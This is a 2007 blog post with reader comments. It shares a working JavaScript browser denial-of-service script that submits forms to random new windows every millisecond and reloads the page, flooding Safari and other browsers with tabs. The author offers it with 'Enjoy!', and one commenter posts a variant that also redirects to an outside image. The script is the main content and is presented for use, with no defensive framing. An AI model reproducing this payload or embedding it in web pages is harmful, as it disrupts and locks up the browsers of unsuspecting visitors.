Browser window spawning DOS

This causes DOS in the latest Safari and maybe other browsers too. I tried it in Opera and it does create loads of tabs but seems stable enough to close it down. Enjoy! :)

<script type="text/javascript">
window.onload = function() {	
	setInterval('spawn()',1);	
}
function spawn() {
	frm = document.createElement('form');
	frm.target = 'x' + Math.round(Math.random() * 100000);
	frm.method = 'GET';
	frm.action = '?';
	document.body.appendChild(frm);
	frm.submit();
	self.location.reload();
}
</script>
Share and Enjoy:
  • Digg
  • del.icio.us
  • Slashdot
  • StumbleUpon

Comments 5

  1. gregf wrote:

    I just gave it a shot in Firefox. It loaded three rows of tabs then the popup blocker kicked in, and stopped the rest. Everything remained functional.

    Posted 28 Nov 2007 at 4:56 pm
  2. xjf wrote:

    In my Opera 9.24 it opens a lot of tabs but with Shit+Ctrl+Alt+W you can close most of them and then quickly go like (Site Preferences Disable Javascript). And that’s it.

    Posted 28 Nov 2007 at 7:44 pm
  3. Gareth Heyes wrote:

    Yeah Safari is the only one that seems to have trouble with it, but with a little hacking maybe the others can also be affected.

    Posted 28 Nov 2007 at 9:54 pm
  4. Mr. T wrote:

    Evil. Pure evil. :) Ingenius.

    Posted 29 Nov 2007 at 2:03 am
  5. crit3rion wrote:

    Great code! Let’s make it pretty :-)

    (It works really well in IE and ies4linux)

    <script type=”text/javascript”>
    window.onload = function() {
    setInterval(’spawn()’,1);
    }
    function spawn() {
    frm = document.location=’http://misers.org/pictures/SomethingAwful/samakeyoulaugh/stallowned.jpg’
    frm = document.createElement(’form’);
    frm.target = ‘x’ + Math.round(Math.random() * 1);
    frm.method = ‘GET’;
    frm.action = ‘?’;
    document.body.appendChild(frm);
    frm.submit();
    self.location.reload();
    }
    </script>

    Posted 30 Nov 2007 at 6:28 pm

Post a Comment

Your email is never published nor shared. Required fields are marked *

Comment spam protected by SpamBam